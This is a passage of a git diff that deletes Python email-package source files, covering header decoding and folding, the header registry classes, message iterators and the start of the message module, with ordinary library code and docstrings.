- - - -# Helpers -_max_append = email.quoprimime._max_append - - - -def decode_header(header): - """Decode a message header value without converting charset. - - Returns a list of (string, charset) pairs containing each of the decoded - parts of the header. Charset is None for non-encoded parts of the header, - otherwise a lower-case string containing the name of the character set - specified in the encoded string. - - header may be a string that may or may not contain RFC2047 encoded words, - or it may be a Header object. - - An email.errors.HeaderParseError may be raised when certain decoding error - occurs (e.g. a base64 decoding exception). - """ - # If it is a Header object, we can just return the encoded chunks. - if hasattr(header, '_chunks'): - return [(_charset._encode(string, str(charset)), str(charset)) - for string, charset in header._chunks] - # If no encoding, just return the header with no charset. - if not ecre.search(header): - return [(header, None)] - # First step is to parse all the encoded parts into triplets of the form - # (encoded_string, encoding, charset). For unencoded strings, the last - # two parts will be None. - words = [] - for line in header.splitlines(): - parts = ecre.split(line) - first = True - while parts: - unencoded = parts.pop(0) - if first: - unencoded = unencoded.lstrip() - first = False - if unencoded: - words.append((unencoded, None, None)) - if parts: - charset = parts.pop(0).lower() - encoding = parts.pop(0).lower() - encoded = parts.pop(0) - words.append((encoded, encoding, charset)) - # Now loop over words and remove words that consist of whitespace - # between two encoded strings. - droplist = [] - for n, w in enumerate(words): - if n>1 and w[1] and words[n-2][1] and words[n-1][0].isspace(): - droplist.append(n-1) - for d in reversed(droplist): - del words[d] - - # The next step is to decode each encoded word by applying the reverse - # base64 or quopri transformation. decoded_words is now a list of the - # form (decoded_word, charset). - decoded_words = [] - for encoded_string, encoding, charset in words: - if encoding is None: - # This is an unencoded word. - decoded_words.append((encoded_string, charset)) - elif encoding == 'q': - word = email.quoprimime.header_decode(encoded_string) - decoded_words.append((word, charset)) - elif encoding == 'b': - paderr = len(encoded_string) % 4 # Postel's law: add missing padding - if paderr: - encoded_string += '==='[:4 - paderr] - try: - word = email.base64mime.decode(encoded_string) - except binascii.Error: - raise HeaderParseError('Base64 decoding error') - else: - decoded_words.append((word, charset)) - else: - raise AssertionError('Unexpected encoding: ' + encoding) - # Now convert all words to bytes and collapse consecutive runs of - # similarly encoded words. - collapsed = [] - last_word = last_charset = None - for word, charset in decoded_words: - if isinstance(word, str): - word = bytes(word, 'raw-unicode-escape') - if last_word is None: - last_word = word - last_charset = charset - elif charset != last_charset: - collapsed.append((last_word, last_charset)) - last_word = word - last_charset = charset - elif last_charset is None: - last_word += BSPACE + word - else: - last_word += word - collapsed.append((last_word, last_charset)) - return collapsed - - - -def make_header(decoded_seq, maxlinelen=None, header_name=None, - continuation_ws=' '): - """Create a Header from a sequence of pairs as returned by decode_header() - - decode_header() takes a header value string and returns a sequence of - pairs of the format (decoded_string, charset) where charset is the string - name of the character set. - - This function takes one of those sequence of pairs and returns a Header - instance. Optional maxlinelen, header_name, and continuation_ws are as in - the Header constructor. - """ - h = Header(maxlinelen=maxlinelen, header_name=header_name, - continuation_ws=continuation_ws) - for s, charset in decoded_seq: - # None means us-ascii but we can simply pass it on to h.append() - if charset is not None and not isinstance(charset, Charset): - charset = Charset(charset) - h.append(s, charset) - return h - - - -class Header: - def __init__(self, s=None, charset=None, - maxlinelen=None, header_name=None, - continuation_ws=' ', errors='strict'): - """Create a MIME-compliant header that can contain many character sets. - - Optional s is the initial header value. If None, the initial header - value is not set. You can later append to the header with .append() - method calls. s may be a byte string or a Unicode string, but see the - .append() documentation for semantics. - - Optional charset serves two purposes: it has the same meaning as the - charset argument to the .append() method. It also sets the default - character set for all subsequent .append() calls that omit the charset - argument. If charset is not provided in the constructor, the us-ascii - charset is used both as s's initial charset and as the default for - subsequent .append() calls. - - The maximum line length can be specified explicitly via maxlinelen. For - splitting the first line to a shorter value (to account for the field - header which isn't included in s, e.g. `Subject') pass in the name of - the field in header_name. The default maxlinelen is 78 as recommended - by RFC 2822. - - continuation_ws must be RFC 2822 compliant folding whitespace (usually - either a space or a hard tab) which will be prepended to continuation - lines. - - errors is passed through to the .append() call. - """ - if charset is None: - charset = USASCII - elif not isinstance(charset, Charset): - charset = Charset(charset) - self._charset = charset - self._continuation_ws = continuation_ws - self._chunks = [] - if s is not None: - self.append(s, charset, errors) - if maxlinelen is None: - maxlinelen = MAXLINELEN - self._maxlinelen = maxlinelen - if header_name is None: - self._headerlen = 0 - else: - # Take the separating colon and space into account. - self._headerlen = len(header_name) + 2 - - def __str__(self): - """Return the string value of the header.""" - self._normalize() - uchunks = [] - lastcs = None - lastspace = None - for string, charset in self._chunks: - # We must preserve spaces between encoded and non-encoded word - # boundaries, which means for us we need to add a space when we go - # from a charset to None/us-ascii, or from None/us-ascii to a - # charset. Only do this for the second and subsequent chunks. - # Don't add a space if the None/us-ascii string already has - # a space (trailing or leading depending on transition) - nextcs = charset - if nextcs == _charset.UNKNOWN8BIT: - original_bytes = string.encode('ascii', 'surrogateescape') - string = original_bytes.decode('ascii', 'replace') - if uchunks: - hasspace = string and self._nonctext(string[0]) - if lastcs not in (None, 'us-ascii'): - if nextcs in (None, 'us-ascii') and not hasspace: - uchunks.append(SPACE) - nextcs = None - elif nextcs not in (None, 'us-ascii') and not lastspace: - uchunks.append(SPACE) - lastspace = string and self._nonctext(string[-1]) - lastcs = nextcs - uchunks.append(string) - return EMPTYSTRING.join(uchunks) - - # Rich comparison operators for equality only. BAW: does it make sense to - # have or explicitly disable <, <=, >, >= operators? - def __eq__(self, other): - # other may be a Header or a string. Both are fine so coerce - # ourselves to a unicode (of the unencoded header value), swap the - # args and do another comparison. - return other == str(self) - - def append(self, s, charset=None, errors='strict'): - """Append a string to the MIME header. - - Optional charset, if given, should be a Charset instance or the name - of a character set (which will be converted to a Charset instance). A - value of None (the default) means that the charset given in the - constructor is used. - - s may be a byte string or a Unicode string. If it is a byte string - (i.e. isinstance(s, str) is false), then charset is the encoding of - that byte string, and a UnicodeError will be raised if the string - cannot be decoded with that charset. If s is a Unicode string, then - charset is a hint specifying the character set of the characters in - the string. In either case, when producing an RFC 2822 compliant - header using RFC 2047 rules, the string will be encoded using the - output codec of the charset. If the string cannot be encoded to the - output codec, a UnicodeError will be raised. - - Optional `errors' is passed as the errors argument to the decode - call if s is a byte string. - """ - if charset is None: - charset = self._charset - elif not isinstance(charset, Charset): - charset = Charset(charset) - if not isinstance(s, str): - input_charset = charset.input_codec or 'us-ascii' - if input_charset == _charset.UNKNOWN8BIT: - s = s.decode('us-ascii', 'surrogateescape') - else: - s = s.decode(input_charset, errors) - # Ensure that the bytes we're storing can be decoded to the output - # character set, otherwise an early error is raised. - output_charset = charset.output_codec or 'us-ascii' - if output_charset != _charset.UNKNOWN8BIT: - try: - s.encode(output_charset, errors) - except UnicodeEncodeError: - if output_charset!='us-ascii': - raise - charset = UTF8 - self._chunks.append((s, charset)) - - def _nonctext(self, s): - """True if string s is not a ctext character of RFC822. - """ - return s.isspace() or s in ('(', ')', '\\') - - def encode(self, splitchars=';, \t', maxlinelen=None, linesep='\n'): - r"""Encode a message header into an RFC-compliant format. - - There are many issues involved in converting a given string for use in - an email header. Only certain character sets are readable in most - email clients, and as header strings can only contain a subset of - 7-bit ASCII, care must be taken to properly convert and encode (with - Base64 or quoted-printable) header strings. In addition, there is a - 75-character length limit on any given encoded header field, so - line-wrapping must be performed, even with double-byte character sets. - - Optional maxlinelen specifies the maximum length of each generated - line, exclusive of the linesep string. Individual lines may be longer - than maxlinelen if a folding point cannot be found. The first line - will be shorter by the length of the header name plus ": " if a header - name was specified at Header construction time. The default value for - maxlinelen is determined at header construction time. - - Optional splitchars is a string containing characters which should be - given extra weight by the splitting algorithm during normal header - wrapping. This is in very rough support of RFC 2822's `higher level - syntactic breaks': split points preceded by a splitchar are preferred - during line splitting, with the characters preferred in the order in - which they appear in the string. Space and tab may be included in the - string to indicate whether preference should be given to one over the - other as a split point when other split chars do not appear in the line - being split. Splitchars does not affect RFC 2047 encoded lines. - - Optional linesep is a string to be used to separate the lines of - the value. The default value is the most useful for typical - Python applications, but it can be set to \r\n to produce RFC-compliant - line separators when needed. - """ - self._normalize() - if maxlinelen is None: - maxlinelen = self._maxlinelen - # A maxlinelen of 0 means don't wrap. For all practical purposes, - # choosing a huge number here accomplishes that and makes the - # _ValueFormatter algorithm much simpler. - if maxlinelen == 0: - maxlinelen = 1000000 - formatter = _ValueFormatter(self._headerlen, maxlinelen, - self._continuation_ws, splitchars) - lastcs = None - hasspace = lastspace = None - for string, charset in self._chunks: - if hasspace is not None: - hasspace = string and self._nonctext(string[0]) - if lastcs not in (None, 'us-ascii'): - if not hasspace or charset not in (None, 'us-ascii'): - formatter.add_transition() - elif charset not in (None, 'us-ascii') and not lastspace: - formatter.add_transition() - lastspace = string and self._nonctext(string[-1]) - lastcs = charset - hasspace = False - lines = string.splitlines() - if lines: - formatter.feed('', lines[0], charset) - else: - formatter.feed('', '', charset) - for line in lines[1:]: - formatter.newline() - if charset.header_encoding is not None: - formatter.feed(self._continuation_ws, ' ' + line.lstrip(), - charset) - else: - sline = line.lstrip() - fws = line[:len(line)-len(sline)] - formatter.feed(fws, sline, charset) - if len(lines) > 1: - formatter.newline() - if self._chunks: - formatter.add_transition() - value = formatter._str(linesep) - if _embedded_header.search(value): - raise HeaderParseError("header value appears to contain " - "an embedded header: {!r}".format(value)) - return value - - def _normalize(self): - # Step 1: Normalize the chunks so that all runs of identical charsets - # get collapsed into a single unicode string. - chunks = [] - last_charset = None - last_chunk = [] - for string, charset in self._chunks: - if charset == last_charset: - last_chunk.append(string) - else: - if last_charset is not None: - chunks.append((SPACE.join(last_chunk), last_charset)) - last_chunk = [string] - last_charset = charset - if last_chunk: - chunks.append((SPACE.join(last_chunk), last_charset)) - self._chunks = chunks - - - -class _ValueFormatter: - def __init__(self, headerlen, maxlen, continuation_ws, splitchars): - self._maxlen = maxlen - self._continuation_ws = continuation_ws - self._continuation_ws_len = len(continuation_ws) - self._splitchars = splitchars - self._lines = [] - self._current_line = _Accumulator(headerlen) - - def _str(self, linesep): - self.newline() - return linesep.join(self._lines) - - def __str__(self): - return self._str(NL) - - def newline(self): - end_of_line = self._current_line.pop() - if end_of_line != (' ', ''): - self._current_line.push(*end_of_line) - if len(self._current_line) > 0: - if self._current_line.is_onlyws(): - self._lines[-1] += str(self._current_line) - else: - self._lines.append(str(self._current_line)) - self._current_line.reset() - - def add_transition(self): - self._current_line.push(' ', '') - - def feed(self, fws, string, charset): - # If the charset has no header encoding (i.e. it is an ASCII encoding) - # then we must split the header at the "highest level syntactic break" - # possible. Note that we don't have a lot of smarts about field - # syntax; we just try to break on semi-colons, then commas, then - # whitespace. Eventually, this should be pluggable. - if charset.header_encoding is None: - self._ascii_split(fws, string, self._splitchars) - return - # Otherwise, we're doing either a Base64 or a quoted-printable - # encoding which means we don't need to split the line on syntactic - # breaks. We can basically just find enough characters to fit on the - # current line, minus the RFC 2047 chrome. What makes this trickier - # though is that we have to split at octet boundaries, not character - # boundaries but it's only safe to split at character boundaries so at - # best we can only get close. - encoded_lines = charset.header_encode_lines(string, self._maxlengths()) - # The first element extends the current line, but if it's None then - # nothing more fit on the current line so start a new line. - try: - first_line = encoded_lines.pop(0) - except IndexError: - # There are no encoded lines, so we're done. - return - if first_line is not None: - self._append_chunk(fws, first_line) - try: - last_line = encoded_lines.pop() - except IndexError: - # There was only one line. - return - self.newline() - self._current_line.push(self._continuation_ws, last_line) - # Everything else are full lines in themselves. - for line in encoded_lines: - self._lines.append(self._continuation_ws + line) - - def _maxlengths(self): - # The first line's length. - yield self._maxlen - len(self._current_line) - while True: - yield self._maxlen - self._continuation_ws_len - - def _ascii_split(self, fws, string, splitchars): - # The RFC 2822 header folding algorithm is simple in principle but - # complex in practice. Lines may be folded any place where "folding - # white space" appears by inserting a linesep character in front of the - # FWS. The complication is that not all spaces or tabs qualify as FWS, - # and we are also supposed to prefer to break at "higher level - # syntactic breaks". We can't do either of these without intimate - # knowledge of the structure of structured headers, which we don't have - # here. So the best we can do here is prefer to break at the specified - # splitchars, and hope that we don't choose any spaces or tabs that - # aren't legal FWS. (This is at least better than the old algorithm, - # where we would sometimes *introduce* FWS after a splitchar, or the - # algorithm before that, where we would turn all white space runs into - # single spaces or tabs.) - parts = re.split("(["+FWS+"]+)", fws+string) - if parts[0]: - parts[:0] = [''] - else: - parts.pop(0) - for fws, part in zip(*[iter(parts)]*2): - self._append_chunk(fws, part) - - def _append_chunk(self, fws, string): - self._current_line.push(fws, string) - if len(self._current_line) > self._maxlen: - # Find the best split point, working backward from the end. - # There might be none, on a long first line. - for ch in self._splitchars: - for i in range(self._current_line.part_count()-1, 0, -1): - if ch.isspace(): - fws = self._current_line[i][0] - if fws and fws[0]==ch: - break - prevpart = self._current_line[i-1][1] - if prevpart and prevpart[-1]==ch: - break - else: - continue - break - else: - fws, part = self._current_line.pop() - if self._current_line._initial_size > 0: - # There will be a header, so leave it on a line by itself. - self.newline() - if not fws: - # We don't use continuation_ws here because the whitespace - # after a header should always be a space. - fws = ' ' - self._current_line.push(fws, part) - return - remainder = self._current_line.pop_from(i) - self._lines.append(str(self._current_line)) - self._current_line.reset(remainder) - - -class _Accumulator(list): - - def __init__(self, initial_size=0): - self._initial_size = initial_size - super().__init__() - - def push(self, fws, string): - self.append((fws, string)) - - def pop_from(self, i=0): - popped = self[i:] - self[i:] = [] - return popped - - def pop(self): - if self.part_count()==0: - return ('', '') - return super().pop() - - def __len__(self): - return sum((len(fws)+len(part) for fws, part in self), - self._initial_size) - - def __str__(self): - return EMPTYSTRING.join((EMPTYSTRING.join((fws, part)) - for fws, part in self)) - - def reset(self, startval=None): - if startval is None: - startval = [] - self[:] = startval - self._initial_size = 0 - - def is_onlyws(self): - return self._initial_size==0 and (not self or str(self).isspace()) - - def part_count(self): - return super().__len__() diff --git a/email/headerregistry.py b/email/headerregistry.py deleted file mode 100755 index f5be87f..0000000 --- a/email/headerregistry.py +++ /dev/null @@ -1,589 +0,0 @@ -"""Representing and manipulating email headers via custom objects. - -This module provides an implementation of the HeaderRegistry API. -The implementation is designed to flexibly follow RFC5322 rules. - -Eventually HeaderRegistry will be a public API, but it isn't yet, -and will probably change some before that happens. - -""" -from types import MappingProxyType - -from email import utils -from email import errors -from email import _header_value_parser as parser - -class Address: - - def __init__(self, display_name='', username='', domain='', addr_spec=None): - """Create an object representing a full email address. - - An address can have a 'display_name', a 'username', and a 'domain'. In - addition to specifying the username and domain separately, they may be - specified together by using the addr_spec keyword *instead of* the - username and domain keywords. If an addr_spec string is specified it - must be properly quoted according to RFC 5322 rules; an error will be - raised if it is not. - - An Address object has display_name, username, domain, and addr_spec - attributes, all of which are read-only. The addr_spec and the string - value of the object are both quoted according to RFC5322 rules, but - without any Content Transfer Encoding. - - """ - # This clause with its potential 'raise' may only happen when an - # application program creates an Address object using an addr_spec - # keyword. The email library code itself must always supply username - # and domain. - if addr_spec is not None: - if username or domain: - raise TypeError("addrspec specified when username and/or " - "domain also specified") - a_s, rest = parser.get_addr_spec(addr_spec) - if rest: - raise ValueError("Invalid addr_spec; only '{}' " - "could be parsed from '{}'".format( - a_s, addr_spec)) - if a_s.all_defects: - raise a_s.all_defects[0] - username = a_s.local_part - domain = a_s.domain - self._display_name = display_name - self._username = username - self._domain = domain - - @property - def display_name(self): - return self._display_name - - @property - def username(self): - return self._username - - @property - def domain(self): - return self._domain - - @property - def addr_spec(self): - """The addr_spec (username@domain) portion of the address, quoted - according to RFC 5322 rules, but with no Content Transfer Encoding. - """ - nameset = set(self.username) - if len(nameset) > len(nameset-parser.DOT_ATOM_ENDS): - lp = parser.quote_string(self.username) - else: - lp = self.username - if self.domain: - return lp + '@' + self.domain - if not lp: - return '<>' - return lp - - def __repr__(self): - return "{}(display_name={!r}, username={!r}, domain={!r})".format( - self.__class__.__name__, - self.display_name, self.username, self.domain) - - def __str__(self): - nameset = set(self.display_name) - if len(nameset) > len(nameset-parser.SPECIALS): - disp = parser.quote_string(self.display_name) - else: - disp = self.display_name - if disp: - addr_spec = '' if self.addr_spec=='<>' else self.addr_spec - return "{} <{}>".format(disp, addr_spec) - return self.addr_spec - - def __eq__(self, other): - if type(other) != type(self): - return False - return (self.display_name == other.display_name and - self.username == other.username and - self.domain == other.domain) - - -class Group: - - def __init__(self, display_name=None, addresses=None): - """Create an object representing an address group. - - An address group consists of a display_name followed by colon and a - list of addresses (see Address) terminated by a semi-colon. The Group - is created by specifying a display_name and a possibly empty list of - Address objects. A Group can also be used to represent a single - address that is not in a group, which is convenient when manipulating - lists that are a combination of Groups and individual Addresses. In - this case the display_name should be set to None. In particular, the - string representation of a Group whose display_name is None is the same - as the Address object, if there is one and only one Address object in - the addresses list. - - """ - self._display_name = display_name - self._addresses = tuple(addresses) if addresses else tuple() - - @property - def display_name(self): - return self._display_name - - @property - def addresses(self): - return self._addresses - - def __repr__(self): - return "{}(display_name={!r}, addresses={!r}".format( - self.__class__.__name__, - self.display_name, self.addresses) - - def __str__(self): - if self.display_name is None and len(self.addresses)==1: - return str(self.addresses[0]) - disp = self.display_name - if disp is not None: - nameset = set(disp) - if len(nameset) > len(nameset-parser.SPECIALS): - disp = parser.quote_string(disp) - adrstr = ", ".join(str(x) for x in self.addresses) - adrstr = ' ' + adrstr if adrstr else adrstr - return "{}:{};".format(disp, adrstr) - - def __eq__(self, other): - if type(other) != type(self): - return False - return (self.display_name == other.display_name and - self.addresses == other.addresses) - - -# Header Classes # - -class BaseHeader(str): - - """Base class for message headers. - - Implements generic behavior and provides tools for subclasses. - - A subclass must define a classmethod named 'parse' that takes an unfolded - value string and a dictionary as its arguments. The dictionary will - contain one key, 'defects', initialized to an empty list. After the call - the dictionary must contain two additional keys: parse_tree, set to the - parse tree obtained from parsing the header, and 'decoded', set to the - string value of the idealized representation of the data from the value. - (That is, encoded words are decoded, and values that have canonical - representations are so represented.) - - The defects key is intended to collect parsing defects, which the message - parser will subsequently dispose of as appropriate. The parser should not, - insofar as practical, raise any errors. Defects should be added to the - list instead. The standard header parsers register defects for RFC - compliance issues, for obsolete RFC syntax, and for unrecoverable parsing - errors. - - The parse method may add additional keys to the dictionary. In this case - the subclass must define an 'init' method, which will be passed the - dictionary as its keyword arguments. The method should use (usually by - setting them as the value of similarly named attributes) and remove all the - extra keys added by its parse method, and then use super to call its parent - class with the remaining arguments and keywords. - - The subclass should also make sure that a 'max_count' attribute is defined - that is either None or 1. XXX: need to better define this API. - - """ - - def __new__(cls, name, value): - kwds = {'defects': []} - cls.parse(value, kwds) - if utils._has_surrogates(kwds['decoded']): - kwds['decoded'] = utils._sanitize(kwds['decoded']) - self = str.__new__(cls, kwds['decoded']) - del kwds['decoded'] - self.init(name, **kwds) - return self - - def init(self, name, *, parse_tree, defects): - self._name = name - self._parse_tree = parse_tree - self._defects = defects - - @property - def name(self): - return self._name - - @property - def defects(self): - return tuple(self._defects) - - def __reduce__(self): - return ( - _reconstruct_header, - ( - self.__class__.__name__, - self.__class__.__bases__, - str(self), - ), - self.__dict__) - - @classmethod - def _reconstruct(cls, value): - return str.__new__(cls, value) - - def fold(self, *, policy): - """Fold header according to policy. - - The parsed representation of the header is folded according to - RFC5322 rules, as modified by the policy. If the parse tree - contains surrogateescaped bytes, the bytes are CTE encoded using - the charset 'unknown-8bit". - - Any non-ASCII characters in the parse tree are CTE encoded using - charset utf-8. XXX: make this a policy setting. - - The returned value is an ASCII-only string possibly containing linesep - characters, and ending with a linesep character. The string includes - the header name and the ': ' separator. - - """ - # At some point we need to put fws here iif it was in the source. - header = parser.Header([ - parser.HeaderLabel([ - parser.ValueTerminal(self.name, 'header-name'), - parser.ValueTerminal(':', 'header-sep')]), - ]) - if self._parse_tree: - header.append( - parser.CFWSList([parser.WhiteSpaceTerminal(' ', 'fws')])) - header.append(self._parse_tree) - return header.fold(policy=policy) - - -def _reconstruct_header(cls_name, bases, value): - return type(cls_name, bases, {})._reconstruct(value) - - -class UnstructuredHeader: - - max_count = None - value_parser = staticmethod(parser.get_unstructured) - - @classmethod - def parse(cls, value, kwds): - kwds['parse_tree'] = cls.value_parser(value) - kwds['decoded'] = str(kwds['parse_tree']) - - -class UniqueUnstructuredHeader(UnstructuredHeader): - - max_count = 1 - - -class DateHeader: - - """Header whose value consists of a single timestamp. - - Provides an additional attribute, datetime, which is either an aware - datetime using a timezone, or a naive datetime if the timezone - in the input string is -0000. Also accepts a datetime as input. - The 'value' attribute is the normalized form of the timestamp, - which means it is the output of format_datetime on the datetime. - """ - - max_count = None - - # This is used only for folding, not for creating 'decoded'. - value_parser = staticmethod(parser.get_unstructured) - - @classmethod - def parse(cls, value, kwds): - if not value: - kwds['defects'].append(errors.HeaderMissingRequiredValue()) - kwds['datetime'] = None - kwds['decoded'] = '' - kwds['parse_tree'] = parser.TokenList() - return - if isinstance(value, str): - value = utils.parsedate_to_datetime(value) - kwds['datetime'] = value - kwds['decoded'] = utils.format_datetime(kwds['datetime']) - kwds['parse_tree'] = cls.value_parser(kwds['decoded']) - - def init(self, *args, **kw): - self._datetime = kw.pop('datetime') - super().init(*args, **kw) - - @property - def datetime(self): - return self._datetime - - -class UniqueDateHeader(DateHeader): - - max_count = 1 - - -class AddressHeader: - - max_count = None - - @staticmethod - def value_parser(value): - address_list, value = parser.get_address_list(value) - assert not value, 'this should not happen' - return address_list - - @classmethod - def parse(cls, value, kwds): - if isinstance(value, str): - # We are translating here from the RFC language (address/mailbox) - # to our API language (group/address). - kwds['parse_tree'] = address_list = cls.value_parser(value) - groups = [] - for addr in address_list.addresses: - groups.append(Group(addr.display_name, - [Address(mb.display_name or '', - mb.local_part or '', - mb.domain or '') - for mb in addr.all_mailboxes])) - defects = list(address_list.all_defects) - else: - # Assume it is Address/Group stuff - if not hasattr(value, '__iter__'): - value = [value] - groups = [Group(None, [item]) if not hasattr(item, 'addresses') - else item - for item in value] - defects = [] - kwds['groups'] = groups - kwds['defects'] = defects - kwds['decoded'] = ', '.join([str(item) for item in groups]) - if 'parse_tree' not in kwds: - kwds['parse_tree'] = cls.value_parser(kwds['decoded']) - - def init(self, *args, **kw): - self._groups = tuple(kw.pop('groups')) - self._addresses = None - super().init(*args, **kw) - - @property - def groups(self): - return self._groups - - @property - def addresses(self): - if self._addresses is None: - self._addresses = tuple([address for group in self._groups - for address in group.addresses]) - return self._addresses - - -class UniqueAddressHeader(AddressHeader): - - max_count = 1 - - -class SingleAddressHeader(AddressHeader): - - @property - def address(self): - if len(self.addresses)!=1: - raise ValueError(("value of single address header {} is not " - "a single address").format(self.name)) - return self.addresses[0] - - -class UniqueSingleAddressHeader(SingleAddressHeader): - - max_count = 1 - - -class MIMEVersionHeader: - - max_count = 1 - - value_parser = staticmethod(parser.parse_mime_version) - - @classmethod - def parse(cls, value, kwds): - kwds['parse_tree'] = parse_tree = cls.value_parser(value) - kwds['decoded'] = str(parse_tree) - kwds['defects'].extend(parse_tree.all_defects) - kwds['major'] = None if parse_tree.minor is None else parse_tree.major - kwds['minor'] = parse_tree.minor - if parse_tree.minor is not None: - kwds['version'] = '{}.{}'.format(kwds['major'], kwds['minor']) - else: - kwds['version'] = None - - def init(self, *args, **kw): - self._version = kw.pop('version') - self._major = kw.pop('major') - self._minor = kw.pop('minor') - super().init(*args, **kw) - - @property - def major(self): - return self._major - - @property - def minor(self): - return self._minor - - @property - def version(self): - return self._version - - -class ParameterizedMIMEHeader: - - # Mixin that handles the params dict. Must be subclassed and - # a property value_parser for the specific header provided. - - max_count = 1 - - @classmethod - def parse(cls, value, kwds): - kwds['parse_tree'] = parse_tree = cls.value_parser(value) - kwds['decoded'] = str(parse_tree) - kwds['defects'].extend(parse_tree.all_defects) - if parse_tree.params is None: - kwds['params'] = {} - else: - # The MIME RFCs specify that parameter ordering is arbitrary. - kwds['params'] = {utils._sanitize(name).lower(): - utils._sanitize(value) - for name, value in parse_tree.params} - - def init(self, *args, **kw): - self._params = kw.pop('params') - super().init(*args, **kw) - - @property - def params(self): - return MappingProxyType(self._params) - - -class ContentTypeHeader(ParameterizedMIMEHeader): - - value_parser = staticmethod(parser.parse_content_type_header) - - def init(self, *args, **kw): - super().init(*args, **kw) - self._maintype = utils._sanitize(self._parse_tree.maintype) - self._subtype = utils._sanitize(self._parse_tree.subtype) - - @property - def maintype(self): - return self._maintype - - @property - def subtype(self): - return self._subtype - - @property - def content_type(self): - return self.maintype + '/' + self.subtype - - -class ContentDispositionHeader(ParameterizedMIMEHeader): - - value_parser = staticmethod(parser.parse_content_disposition_header) - - def init(self, *args, **kw): - super().init(*args, **kw) - cd = self._parse_tree.content_disposition - self._content_disposition = cd if cd is None else utils._sanitize(cd) - - @property - def content_disposition(self): - return self._content_disposition - - -class ContentTransferEncodingHeader: - - max_count = 1 - - value_parser = staticmethod(parser.parse_content_transfer_encoding_header) - - @classmethod - def parse(cls, value, kwds): - kwds['parse_tree'] = parse_tree = cls.value_parser(value) - kwds['decoded'] = str(parse_tree) - kwds['defects'].extend(parse_tree.all_defects) - - def init(self, *args, **kw): - super().init(*args, **kw) - self._cte = utils._sanitize(self._parse_tree.cte) - - @property - def cte(self): - return self._cte - - -# The header factory # - -_default_header_map = { - 'subject': UniqueUnstructuredHeader, - 'date': UniqueDateHeader, - 'resent-date': DateHeader, - 'orig-date': UniqueDateHeader, - 'sender': UniqueSingleAddressHeader, - 'resent-sender': SingleAddressHeader, - 'to': UniqueAddressHeader, - 'resent-to': AddressHeader, - 'cc': UniqueAddressHeader, - 'resent-cc': AddressHeader, - 'bcc': UniqueAddressHeader, - 'resent-bcc': AddressHeader, - 'from': UniqueAddressHeader, - 'resent-from': AddressHeader, - 'reply-to': UniqueAddressHeader, - 'mime-version': MIMEVersionHeader, - 'content-type': ContentTypeHeader, - 'content-disposition': ContentDispositionHeader, - 'content-transfer-encoding': ContentTransferEncodingHeader, - } - -class HeaderRegistry: - - """A header_factory and header registry.""" - - def __init__(self, base_class=BaseHeader, default_class=UnstructuredHeader, - use_default_map=True): - """Create a header_factory that works with the Policy API. - - base_class is the class that will be the last class in the created - header class's __bases__ list. default_class is the class that will be - used if "name" (see __call__) does not appear in the registry. - use_default_map controls whether or not the default mapping of names to - specialized classes is copied in to the registry when the factory is - created. The default is True. - - """ - self.registry = {} - self.base_class = base_class - self.default_class = default_class - if use_default_map: - self.registry.update(_default_header_map) - - def map_to_type(self, name, cls): - """Register cls as the specialized class for handling "name" headers. - - """ - self.registry[name.lower()] = cls - - def __getitem__(self, name): - cls = self.registry.get(name.lower(), self.default_class) - return type('_'+cls.__name__, (cls, self.base_class), {}) - - def __call__(self, name, value): - """Create a header instance for header 'name' from 'value'. - - Creates a header instance by creating a specialized class for parsing - and representing the specified header by combining the factory - base_class with a specialized class from the registry or the - default_class, and passing the name and value to the constructed - class's constructor. - - """ - return self[name](name, value) diff --git a/email/iterators.py b/email/iterators.py deleted file mode 100755 index b5502ee..0000000 --- a/email/iterators.py +++ /dev/null @@ -1,71 +0,0 @@ -# Copyright (C) 2001-2006 Python Software Foundation -# Author: Barry Warsaw -# Contact: email-sig@python.org - -"""Various types of useful iterators and generators.""" - -__all__ = [ - 'body_line_iterator', - 'typed_subpart_iterator', - 'walk', - # Do not include _structure() since it's part of the debugging API. - ] - -import sys -from io import StringIO - - - -# This function will become a method of the Message class -def walk(self): - """Walk over the message tree, yielding each subpart. - - The walk is performed in depth-first order. This method is a - generator. - """ - yield self - if self.is_multipart(): - for subpart in self.get_payload(): - yield from subpart.walk() - - - -# These two functions are imported into the Iterators.py interface module. -def body_line_iterator(msg, decode=False): - """Iterate over the parts, returning string payloads line-by-line. - - Optional decode (default False) is passed through to .get_payload(). - """ - for subpart in msg.walk(): - payload = subpart.get_payload(decode=decode) - if isinstance(payload, str): - yield from StringIO(payload) - - -def typed_subpart_iterator(msg, maintype='text', subtype=None): - """Iterate over the subparts with a given MIME type. - - Use `maintype' as the main MIME type to match against; this defaults to - "text". Optional `subtype' is the MIME subtype to match against; if - omitted, only the main type is matched. - """ - for subpart in msg.walk(): - if subpart.get_content_maintype() == maintype: - if subtype is None or subpart.get_content_subtype() == subtype: - yield subpart - - - -def _structure(msg, fp=None, level=0, include_default=False): - """A handy debugging aid""" - if fp is None: - fp = sys.stdout - tab = ' ' * (level * 4) - print(tab + msg.get_content_type(), end='', file=fp) - if include_default: - print(' [%s]' % msg.get_default_type(), file=fp) - else: - print(file=fp) - if msg.is_multipart(): - for subpart in msg.get_payload(): - _structure(subpart, fp, level+1, include_default) diff --git a/email/message.py b/email/message.py deleted file mode 100755 index b6512f2..0000000 --- a/email/message.py +++ /dev/null @@ -1,1164 +0,0 @@ -# Copyright (C) 2001-2007 Python Software Foundation -# Author: Barry Warsaw -# Contact: email-sig@python.org - -"""Basic message object for the email package object model.""" - -__all__ = ['Message', 'EmailMessage'] - -import re -import uu -import quopri -from io import BytesIO, StringIO - -# Intrapackage imports -from email import utils -from email import errors -from email._policybase import Policy, compat32 -from email import charset as _charset -from email._encoded_words import decode_b -Charset = _charset.Charset - -SEMISPACE = '; ' - -# Regular expression that matches `special' characters in parameters, the -# existence of which force quoting of the parameter value. -tspecials = re.compile(r'[ \(\)<>@,;:\\"/\[\]\?=]') - - -def _splitparam(param): - # Split header parameters. BAW: this may be too simple. It isn't - # strictly RFC 2045 (section 5.1) compliant, but it catches most headers - # found in the wild. We may eventually need a full fledged parser. - # RDM: we might have a Header here; for now just stringify it. - a, sep, b = str(param).partition(';') - if not sep: - return a.strip(), None - return a.strip(), b.strip() - -def _formatparam(param, value=None, quote=True): - """Convenience function to format and return a key=value pair. - - This will quote the value if needed or if quote is true. If value is a - three tuple (charset, language, value), it will be encoded according - to RFC2231 rules. If it contains non-ascii characters it will likewise - be encoded according to RFC2231 rules, using the utf-8 charset and - a null language. - """ - if value is not None and len(value) > 0: - # A tuple is used for RFC 2231 encoded parameter values where items - # are (charset, language, value). charset is a string, not a Charset - # instance. RFC 2231 encoded values are never quoted, per RFC. - if 